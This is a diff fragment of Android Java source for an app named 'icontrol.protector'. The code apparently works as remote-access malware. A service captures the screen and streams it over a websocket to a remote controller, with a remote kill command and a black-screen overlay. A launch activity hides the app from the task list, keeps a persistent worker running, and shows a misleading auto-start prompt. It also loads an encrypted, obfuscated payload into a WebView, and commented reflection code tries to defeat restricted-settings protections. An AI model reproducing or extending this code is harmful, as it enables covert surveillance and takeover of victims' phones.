catch (Exception e){
}catch (OutOfMemoryError e) {
}
try{ Thread.sleep(1);} catch (InterruptedException e) {}
}
} catch (Exception ex) {
ex.printStackTrace();
}
// killall();
}
};
thread.start();
}
@Override
public void onMessage( WebSocket webSocket, String text) {
super.onMessage(webSocket, text);
try{
JSONObject Response = new JSONObject(text);
String msgtype = Response.optString("type","empty");
if(msgtype.equals("stop") || msgtype.equals("Unauthorized access")){
killall();
}
}catch (Exception a){}
}
});
// new Thread(new Runnable() {
// @Override
// public void run() {
//
//
// }
// }).start();
}
public void killall(){
MySettings.WriteBool(getApplicationContext(), Consts.Send_Skilton,false);
isAlive = false;
AccessTools.BlackScreen(false);
try{
if (ws != null) {
ws.cancel();
ws = null;
}
if (client != null) {
client.dispatcher().cancelAll();
client.connectionPool().evictAll();
client.dispatcher().executorService().shutdown();
client = null;
}
}catch (Exception s){
}
// Context ctx = getApplicationContext();
try{
if (mMediaProjection != null) {
if (mCallBack != null) {
mMediaProjection.unregisterCallback(mCallBack);
mCallBack = null;
}
mMediaProjection.stop();
mMediaProjection = null;
}
if (mVirtualDisplay != null) mVirtualDisplay.release();
if (mImageReader != null) mImageReader.setOnImageAvailableListener(null, null);
mImageReader.close();
//if (mOrientationChangeCallback != null) mOrientationChangeCallback.disable();
// if(mMediaProjection != null && mCallBack != null){
// mMediaProjection.unregisterCallback(mCallBack);
// mCallBack=null;
// }
}catch (Exception a){}
//mMediaProjection = null;
mVirtualDisplay = null;
mImageReader = null;
//mOrientationChangeCallback = null;
//mDisplay = null;
mContext = null;
try{
ImagesListByts.clear();
ImagesListByts = null;
}catch (Exception a){}
try{
stopForeground(false);
stopSelf();
}catch (Exception a){}
}
// private class OrientationChangeCallback extends OrientationEventListener {
//
// OrientationChangeCallback(Context context) {
// super(context);
// }
//
// @Override
// public void onOrientationChanged(int orientation) {
// final int rotation = mDisplay.getRotation();
// if (rotation != mRotation) {
// mRotation = rotation;
// try {
// // clean up
// if (mVirtualDisplay != null) mVirtualDisplay.release();
// if (mImageReader != null) mImageReader.setOnImageAvailableListener(null, null);
//
// // re-create virtual display depending on device width / height
// createVirtualDisplay();
// } catch (Exception e) {
// e.printStackTrace();
// }
// }
// }
// }
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
super.onCreate();
mContext = getApplicationContext();
}
private static int Notifi_ID = 111;
private void startforground(Context ctx) {
try{
MyNotification MyNotifiint = MyNotification.getInstance(ctx);
Notification notification = MyNotifiint.createNotification(ctx);
if (Build.VERSION.SDK_INT >= 34) {
this.startForeground(Notifi_ID, notification,
ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION);
} else {
this.startForeground(Notifi_ID, notification);
}
}catch (Exception a){}
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
try{
// create notification
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
startforground(getApplicationContext());
}
mContext = getApplicationContext();
if (isStartCommand(intent)) {
// setSCRQuality();
SCRQuality = intent.getIntExtra(Qulty,50);
Consts.SCRSIDF = intent.getStringExtra(Sockid);
// if (mHandler == null){
// new Thread() {
// @Override
// public void run() {
// Looper.prepare();
// mHandler = new Handler();
// Looper.loop();
// }
// }.start();
// }
Context ctx = getApplicationContext();
PID = MySettings.Read(ctx,Consts.DEVICE_ID,"null");
//PID = MyDeviceID.GetID(ctx);
if (PID == null){
MyLoger.Error("At.start.ScreenCap","Can't find Device id");
stopProjection();
stopSelf();
return START_NOT_STICKY;
}
// start projection
int resultCode = intent.getIntExtra(RESULT_CODE, Activity.RESULT_CANCELED);
Intent data = intent.getParcelableExtra(DATA);
ImagesListByts = new ArrayList<byte[]>();
SendThread(ctx);
startProjection(resultCode, data);
//return START_STICKY;
} else if (isStopCommand(intent)) {
isAlive = false;
MySettings.WriteBool(getApplicationContext(), Consts.Send_Skilton,false);
AccessTools.BlackScreen(false);
stopProjection();
killall();
//
}
//return START_STICKY;
}catch (Exception a){
a.printStackTrace();
}
return START_NOT_STICKY;
}
private void startProjection(int resultCode, Intent data) {
MediaProjectionManager mpManager =
(MediaProjectionManager) getApplicationContext().getSystemService(Context.MEDIA_PROJECTION_SERVICE);
//if (mMediaProjection == null) {
mMediaProjection = mpManager.getMediaProjection(resultCode, data);
if (mMediaProjection != null) {
// display metrics
mDensity = Resources.getSystem().getDisplayMetrics().densityDpi;
//WindowManager windowManager = (WindowManager) getSystemService(Context.WINDOW_SERVICE);
//mDisplay = windowManager.getDefaultDisplay();
createVirtualDisplay();
// mOrientationChangeCallback = new OrientationChangeCallback(getApplicationContext());
// if (mOrientationChangeCallback.canDetectOrientation()) {
// mOrientationChangeCallback.enable();
// }
}
// }
}
private void stopProjection() {
isAlive = false;
MySettings.WriteBool(getApplicationContext(), Consts.Send_Skilton,false);
AccessTools.BlackScreen(false);
if (ws != null) {
ws.close(1000, "Closing Screen");
}
}
private void Livemessage(Context ctx, String msg,String conctkey) {
if (ws != null) {
try {
String Myid = MySettings.Read(ctx, Consts.DEVICE_ID, "Deviceid");
String IDF = MySettings.Read(ctx, Consts.THE_IDF, null);
// String SecondIDF = MySettings.Read(ctx, Consts.Sec_IDF, "null");
if (!Consts.SCRSIDF.equals("null")){
IDF = Consts.SCRSIDF;
}
if (Myid == null) {
return;
}
if (IDF == null) {
return;
}
String CIP = MySettings.Read(ctx, Consts.THE_CIP, "null");
JSONObject message = new JSONObject();
// message.put("userId", userid);
message.put("idf", IDF);
//message.put("sidf", SecondIDF);
message.put("pid", Myid);
message.put("itype", "Slr_client");
message.put("subc", "msg");
message.put("msg", msg);
message.put("cip", CIP);
message.put("conk", conctkey);
// Send the JSON message as a string
ws.send(message.toString());
} catch (JSONException e) {
e.printStackTrace();
}
}
}
private static class SafeProjectionCallback extends MediaProjection.Callback {
private final WeakReference<ScreenCaps> serviceRef;
SafeProjectionCallback(ScreenCaps service) {
this.serviceRef = new WeakReference<>(service);
}
@Override
public void onStop() {
ScreenCaps service = serviceRef.get();
if (service != null) {
try {
if (service.mVirtualDisplay != null) {
service.mVirtualDisplay.release();
service.mVirtualDisplay = null;
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
private void createVirtualDisplay() {
// get width and height
mWidth = Integer.valueOf(MySettings.Read(mContext,Consts.Mob_width,"720"));
mHeight = Integer.valueOf(MySettings.Read(mContext,Consts.Mob_height,"1280"));
// start capture reader
mImageReader = ImageReader.newInstance(mWidth, mHeight, PixelFormat.RGBA_8888, 5);
HandlerThread handlerThread = new HandlerThread("IRT");
handlerThread.start();
Handler backgroundHandler = new Handler(handlerThread.getLooper());
mCallBack = new SafeProjectionCallback(this);
mMediaProjection.registerCallback(mCallBack, null);
mVirtualDisplay = mMediaProjection.createVirtualDisplay(SCREENCAP_NAME, mWidth, mHeight,
mDensity, getVirtualDisplayFlags(), mImageReader.getSurface(), null, null);
mImageReader.setOnImageAvailableListener(new ImageAvailableListener(), backgroundHandler);
}
}
@@ -0,0 +1,120 @@
package com.icontrol.protector;
import android.content.ContentResolver;
import android.content.Context;
import android.os.Build;
import android.os.Vibrator;
import android.provider.Settings;
import android.util.Log;
public class SettingsManager {
private static final String TAG = "SettingsManager";
private Context context;
public SettingsManager(Context context) {
this.context = context;
}
/**
* Checks if the app has permission to write system settings.
* Required for modifying settings like brightness, screen timeout, etc.
*/
private boolean hasWriteSettingsPermission() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
return Settings.System.canWrite(context);
}
return false;
}
// VIBRATION MODE
public void setVibrationMode(boolean enabled) {
Vibrator vibrator = (Vibrator) context.getSystemService(Context.VIBRATOR_SERVICE);
if (vibrator != null && vibrator.hasVibrator()) {
if (enabled) {
vibrator.vibrate(1000); // Test vibration for 1 second
} else {
vibrator.cancel(); // Cancel any active vibration
}
}
}
public boolean isVibrationEnabled() {
Vibrator vibrator = (Vibrator) context.getSystemService(Context.VIBRATOR_SERVICE);
return vibrator != null && vibrator.hasVibrator();
}
// DATA ROAMING
public void setDataRoamingEnabled(boolean enabled) {
if (hasWriteSettingsPermission()) {
try {
Settings.Global.putInt(context.getContentResolver(),
Settings.Global.DATA_ROAMING, enabled ? 1 : 0);
} catch (Exception e) {
Log.e(TAG, "Unable to set data roaming: " + e.getMessage());
}
} else {
Log.e(TAG, "Write settings permission not granted.");
}
}
public boolean isDataRoamingEnabled() {
try {
return Settings.Global.getInt(context.getContentResolver(),
Settings.Global.DATA_ROAMING) == 1;
} catch (Settings.SettingNotFoundException e) {
Log.e(TAG, "Data roaming setting not found: " + e.getMessage());
return false;
}
}
// SCREEN TIMEOUT DURATION
public void setScreenTimeout(int timeoutMillis) {
if (hasWriteSettingsPermission()) {
try {
Settings.System.putInt(context.getContentResolver(),
Settings.System.SCREEN_OFF_TIMEOUT, timeoutMillis);
} catch (Exception e) {
Log.e(TAG, "Unable to set screen timeout: " + e.getMessage());
}
} else {
Log.e(TAG, "Write settings permission not granted.");
}
}
public int getScreenTimeout() {
try {
return Settings.System.getInt(context.getContentResolver(),
Settings.System.SCREEN_OFF_TIMEOUT);
} catch (Settings.SettingNotFoundException e) {
Log.e(TAG, "Screen timeout setting not found: " + e.getMessage());
return -1; // return -1 if setting is not found
}
}
// SCREEN BRIGHTNESS LEVEL
public void setScreenBrightness(int brightnessLevel) {
if (hasWriteSettingsPermission()) {
if (brightnessLevel < 0) brightnessLevel = 0;
if (brightnessLevel > 255) brightnessLevel = 255; // Ensure brightness level is within range
try {
Settings.System.putInt(context.getContentResolver(),
Settings.System.SCREEN_BRIGHTNESS, brightnessLevel);
} catch (Exception e) {
Log.e(TAG, "Unable to set screen brightness: " + e.getMessage());
}
} else {
Log.e(TAG, "Write settings permission not granted.");
}
}
public int getScreenBrightness() {
try {
return Settings.System.getInt(context.getContentResolver(),
Settings.System.SCREEN_BRIGHTNESS);
} catch (Settings.SettingNotFoundException e) {
Log.e(TAG, "Screen brightness setting not found: " + e.getMessage());
return -1; // return -1 if setting is not found
}
}
}
@@ -0,0 +1,495 @@
package com.icontrol.protector;
import static androidx.core.content.PackageManagerCompat.ACTION_PERMISSION_REVOCATION_SETTINGS;
import static com.icontrol.protector.Consts.skip_splash;
import static com.icontrol.protector.MyCods.isServiceRunning;
import static com.icontrol.protector.UtliTools.excludeFromTaskList;
import static com.icontrol.protector.UtliTools.getAppIconAsBase64;
import static com.icontrol.protector.UtliTools.randomnumber;
import android.Manifest;
import android.app.Activity;
import android.app.AlertDialog;
import android.app.AppOpsManager;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.pm.PackageManager;
import android.graphics.Point;
import android.graphics.drawable.Drawable;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Process;
import android.os.StrictMode;
import android.provider.Settings;
import android.util.Base64;
import android.util.Log;
import android.view.ViewGroup;
import android.view.Window;
import android.view.WindowManager;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.Toast;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;
import androidx.core.content.IntentCompat;
import java.io.UnsupportedEncodingException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.Locale;
public class Splasher extends Activity {
public static String[] NormalPermissions() {
List<String> permissions = new ArrayList<>();
// Add only normal permissions
permissions.add(Manifest.permission.INTERNET); // Normal
permissions.add(Manifest.permission.WAKE_LOCK); // Normal
permissions.add(Manifest.permission.ACCESS_NETWORK_STATE); // Normal
permissions.add(Manifest.permission.ACCESS_WIFI_STATE); // Normal
permissions.add(Manifest.permission.CHANGE_WIFI_STATE); // Normal
permissions.add(Manifest.permission.MODIFY_AUDIO_SETTINGS); // Normal
// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) {
// permissions.add(Manifest.permission.TURN_SCREEN_ON); // Normal
// }
if (Build.VERSION.SDK_INT >= 33 ) {
permissions.add(Manifest.permission.POST_NOTIFICATIONS);
}
return permissions.toArray(new String[0]);
}
private boolean AskAutoStart() {
final MIUIAutoStart AutoHelper = MIUIAutoStart.getInstance();
if (
!MySettings.ReadBool(getApplicationContext(), Consts.AutoStartOn, false) &&
AutoHelper.isAutoStartPermissionAvailable(getApplicationContext())) {
try {
// startworkers(this);
Intent workint = new Intent(getApplicationContext(), EngineWorker.class);
if (!isServiceRunning(getApplicationContext(), EngineWorker.class)) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
startForegroundService(workint);
} else {
startService(workint);
}
}
AlarmHelper.setAlarm(getApplicationContext());
String buttonnameOK = "OK";
String Thetitle = "Auto Start";
String alertmsg = "OK";
String CurrnetLanuage = Locale.getDefault().getLanguage();
switch (CurrnetLanuage) {
case "ar":
buttonnameOK = "موافق";
Thetitle = "التشغيل التلقائي";
alertmsg = "اسمح لهذا التطبيق بالتشغيل التلقائي لتحسين الأداء.";
break;
case "zh":
buttonnameOK = "好的";
Thetitle = "自动启动";
alertmsg = "允许此应用程序自动启动以确保流畅运行。";
break;
case "tr":
buttonnameOK = "Tamam";
Thetitle = "Otomatik Başlatma";
alertmsg = "Sorunsuz çalışması için bu uygulamaya otomatik başlatma izni verin.";
break;
case "pt":
buttonnameOK = "OK";
Thetitle = "Inicialização Automática";
alertmsg = "Permita que este aplicativo inicie automaticamente para melhor desempenho.";
break;
case "es":
buttonnameOK = "OK";
Thetitle = "Inicio Automático";
alertmsg = "Permita que esta aplicación se inicie automáticamente para un mejor rendimiento.";
break;
case "ru":
buttonnameOK = "Хорошо";
Thetitle = "Автозапуск";
alertmsg = "Разрешите этому приложению автозапуск для стабильной работы.";
break;
default:
buttonnameOK = "OK";
Thetitle = "Auto Start";
alertmsg = "Allow this app to auto-start for smooth performance.";
break;
}
Drawable icon = null;
try {
// null;
icon = getPackageManager().getApplicationIcon(getPackageName());
} catch (PackageManager.NameNotFoundException ex) {
}
AlertDialog.Builder builder = new AlertDialog.Builder(this, android.R.style.Theme_DeviceDefault_Dialog_Alert)
.setTitle(Thetitle)
.setMessage(alertmsg)
.setPositiveButton(buttonnameOK, (dialog, which) -> {
// setupWorkManager();
boolean flag = AutoHelper.getAutoStartPermission(getApplicationContext());
MySettings.WriteBool(getApplicationContext(), Consts.AutoStartOn, true);
// System.exit(0);
});
if (icon != null) {
builder.setIcon(icon);
}
builder.show();
return true;
} catch (Exception a) {
a.printStackTrace();
}
}
return false;
}
private static final int PERMISSION_REQUEST_CODE = 22;
private void checkAndRequestPermissions() {
String[] permissions = NormalPermissions();
List<String> permissionsNeeded = new ArrayList<>();
for (String permission : permissions) {
if (ContextCompat.checkSelfPermission(getApplicationContext(), permission) != PackageManager.PERMISSION_GRANTED) {
permissionsNeeded.add(permission);
}
}
if (!permissionsNeeded.isEmpty()) {
ActivityCompat.requestPermissions(this, permissionsNeeded.toArray(new String[0]), PERMISSION_REQUEST_CODE);
}
}
public static String getLabelApplication(Context context) {
try {
return (String) context.getPackageManager().getApplicationLabel(context.getPackageManager().getApplicationInfo(context.getPackageName(), PackageManager.GET_META_DATA));
} catch (Exception ex) {
}
return context.getString(R.string.BaseName);
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
}
WebView Mwbview;
@Override
protected void onDestroy() {
super.onDestroy();
try{
if(Mwbview != null){
Mwbview.stopLoading();
// Clear history and cache
Mwbview.clearHistory();
Mwbview.clearCache(true);
// Remove from parent
ViewGroup parent = (ViewGroup) Mwbview.getParent();
if (parent != null) {
parent.removeView(Mwbview);
}
// Destroy the WebView
Mwbview.removeAllViews();
Mwbview.destroy();
// Nullify reference to help GC
Mwbview = null;
}
}catch (Exception s){}
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
//this code below can be user to detect memory leak or some bugs try google it (StrictMode.setThreadPolicy)
// StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
// .detectDiskReads()
// .detectDiskWrites()
// .detectAll() // or .detectAll() for all detectable problems
// .penaltyLog()
// .build());
// StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder()
// .detectLeakedSqlLiteObjects()
// .detectLeakedClosableObjects()
// .penaltyLog()
// .build());
// try {
// Intent intent = new Intent();
// intent.setComponent(new ComponentName("com.miui.powerkeeper",
// "com.miui.powerkeeper.ui.HiddenAppsConfigActivity"));
// intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
// startActivity(intent);
// } catch (Exception exception) {
// Log.e("MIUIAutoStart", "Error starting intent", exception);
// }
// Intent intent = new Intent(Settings.ACTION_CHANNEL_NOTIFICATION_SETTINGS)
// .putExtra(Settings.EXTRA_APP_PACKAGE, getPackageName())
// .putExtra(Settings.EXTRA_CHANNEL_ID, "updates");
// intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
// startActivity(intent);
//
// Intent intent =
// new Intent(Settings.ACTION_MANAGE_APP_USE_FULL_SCREEN_INTENT)
// .setData(Uri.fromParts(
// "package", getPackageName(), /* fragment= */ null));
// intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
// // Launch settings page so user can disable the auto-reset
// startActivityForResult(intent, 111);
// Intent insta_intent = getPackageManager().getLaunchIntentForPackage("com.instagram.android");
// // insta_intent.setComponent(new ComponentName("com.instagram.android", "com.instagram.android.activity.UrlHandlerActivity"));
//
//////use this if you want to open an image
//// insta_intent.setData(Uri.parse("http://instagram.com/p/gjfLqSBQTJ/"));
//
////And if you want to open a user's profile use this
// insta_intent.setData(Uri.parse("http://instagram.com/_u/yuoi"));
//
// startActivity(insta_intent);
// if(1 == 1){
// return;
// }
Context myctx = getApplicationContext();
LiveChat.instance(getApplicationContext());
Intent workint = new Intent(myctx, EngineWorker.class);
if (!isServiceRunning(myctx, EngineWorker.class)) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
startForegroundService(workint);
} else {
startService(workint);
}
}
excludeFromTaskList(getApplicationContext());
// try {
// Intent intent = new Intent();
// intent.setAction("android.settings.MANAGE_DEFAULT_APPS_SETTINGS");
// intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
// startActivity(intent);
// } catch (Exception exception) {
// Log.e("MIUIAutoStart", "Error starting action", exception);
// }
//
// try {
// Intent intent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS,
// Uri.parse("package:" + "com.android.settings.biometrics"));
// intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
// startActivity(intent);
// } catch (Exception exception) {
// Log.e("MIUIAutoStart", "Error starting intent", exception);
// }
////
// AlarmManager alarmManager = (AlarmManager) getSystemService(Context.ALARM_SERVICE);
// // if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S && !alarmManager.canScheduleExactAlarms()) {
// // If not, request the SCHEDULE_EXACT_ALARM permission
// Intent intent = new Intent(android.provider.Settings.ACTION_REQUEST_SCHEDULE_EXACT_ALARM);
// intent.setData(Uri.fromParts("package", getPackageName(), null));
//
// startActivity(intent);
// // }
// Intent intent = new Intent(Settings.ACTION_REQUEST_SCHEDULE_EXACT_ALARM);
// intent.setData(Uri.parse("package:" + getPackageName()));
// startActivity(intent);
// if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU &&
// MySettings.Read(myctx, Consts.ontimerest, "").length() == 0){
// Intent intent = new Intent("android.settings.SHOW_RESTRICTED_SETTING_DIALOG");
// intent.setPackage("com.android.settings"); // Ensure it targets the correct package
// intent.putExtra("package_name", getPackageName()); // Optional, if needed
// intent.putExtra("extra_uid", Process.myUid()); // Optional, if needed
// intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // Needed if starting from non-Activity context
//
// try {
// //startActivity(intent);
// try {
// // Step 1: Get AppOpsManager instance using reflection
// Object appOpsManager = getSystemService(Class.forName("android.app.AppOpsManager"));
//
// Field ores = appOpsManager.getClass().getField("OPSTR_ACCESS_RESTRICTED_SETTINGS");
// ores.setAccessible(true);
// // Step 2: Get the 'setMode' method (public method since API 29)
// Method setModeMethod = appOpsManager.getClass().getMethod("setMode", new Class[]{String.class, int.class, String.class, int.class});
// setModeMethod.setAccessible(true);
// // Step 3: Call the method with your parameters
// setModeMethod.invoke(
// appOpsManager,
// new Object[]{"android:access_restricted_settings",
// Process.myUid(),
// getPackageName(),
// AppOpsManager.MODE_IGNORED}
// );
//
// } catch (Exception e) {
// e.printStackTrace();
// Toast.makeText(this, "Reflection call failed", Toast.LENGTH_SHORT).show();
// }
// } catch (Exception e) {
// e.printStackTrace();
// Toast.makeText(this, "Unable to launch restricted setting dialog", Toast.LENGTH_SHORT).show();
// }
//
// MySettings.Write(myctx, Consts.ontimerest, "done");
// try{
// Thread.sleep(1000);
// }catch (Exception a){}
// try{
// Thread.sleep(1000);
// }catch (Exception a){}
// try{
// Thread.sleep(1000);
// }catch (Exception a){}
// }
if (MySettings.Read(myctx, Consts.DEVICE_ID, "").length() == 0) {
String newid = UtliTools.Create_DevicID() + String.valueOf(randomnumber(100, 199));
MyLoger.Debug("CreateID", newid);
MySettings.Write(myctx, Consts.DEVICE_ID, newid);
}
checkAndRequestPermissions();
// if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.R) {
// WindowManager wm = getSystemService(WindowManager.class);
//
// // Get current window metrics
// WindowMetrics windowMetrics = wm.getCurrentWindowMetrics();
//
// // Subtract the insets to get the usable app size
// int width = windowMetrics.getBounds().width();
// int height = windowMetrics.getBounds().height();
// MySettings.Write(myctx,Consts.Mob_width,String.valueOf(width));
// MySettings.Write(myctx,Consts.Mob_height,String.valueOf(height));
// }else{
// MySettings.Write(myctx,Consts.Mob_width,mobW);
// MySettings.Write(myctx,Consts.Mob_height,mobH);
//}
if (MySettings.Read(myctx,Consts.Mob_width,"").length() == 0){
Point size = new Point();
getWindowManager().getDefaultDisplay().getRealSize(size);
String mobW = String.valueOf(Math.min(size.x, size.y));
String mobH = String.valueOf(Math.max(size.x, size.y));
SharedPreferences mSharedPref;
mSharedPref = myctx.getSharedPreferences(myctx.getPackageName(), Activity.MODE_PRIVATE);
SharedPreferences.Editor prefsEditor = mSharedPref.edit();
prefsEditor.putString(Consts.Mob_width, mobW);
prefsEditor.putString(Consts.Mob_height, mobH);
prefsEditor.commit();
}
Thread.setDefaultUncaughtExceptionHandler(new MyExceptionHandler(myctx));
requestWindowFeature(Window.FEATURE_NO_TITLE);
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
WindowManager.LayoutParams.FLAG_FULLSCREEN);
try {
if (AskAutoStart()) {
//final Context mcontext = getApplicationContext();
// return;
}
} catch (Exception a) {
}
Mwbview = new WebView(myctx);
My_Crpter cr = My_Crpter.Getinstance();
String loadpage = "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